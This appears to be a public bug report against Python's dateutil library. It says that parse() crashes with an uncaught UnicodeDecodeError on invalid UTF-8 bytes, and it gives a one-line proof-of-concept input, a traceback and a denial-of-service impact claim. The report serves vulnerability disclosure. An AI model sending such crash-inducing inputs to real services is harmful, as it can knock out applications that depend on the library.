[Crash] Unhandled UnicodeDecodeError exception while parsing an arbitrary date lead to DoS

[pventuzelo]

The crash occurs when the parser (via the parse function) tries to decode an arbitrary user input without sanitizing it first. The library then crashes due to an unhandled UnicodeDecodeError error for invalid utf-8 value.

PoC

// PoC.py
from dateutil.parser import parse

parse(b'\x00\xb2')

Crash

Traceback (most recent call last):
  File "poc_UnicodeDecodeError.py", line 3, in <module>
    parse(b'\x00\xb2')
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 1368, in parse
    return DEFAULTPARSER.parse(timestr, **kwargs)
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 640, in parse
    res, skipped_tokens = self._parse(timestr, **kwargs)
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 719, in _parse
    l = _timelex.split(timestr)         # Splits the timestr into tokens
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 201, in split
    return list(cls(s))
  File "/home/scop/.local/lib/python3.8/site-packages/dateutil/parser/_parser.py", line 64, in __init__
    instream = instream.decode()
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xb2 in position 1: invalid start byte

Impact

This vulnerability is making Python trigger an exception and crash leading to a denial of service (DoS).
Vulnerability type: CWE-248: Uncaught Exception

(I originally reported this bug through private disclosure via huntr bug bounty platform but it was closed as informative... I don't agree, it's a major library used by a lot of projects and can impact a lot of AI/ML project as well)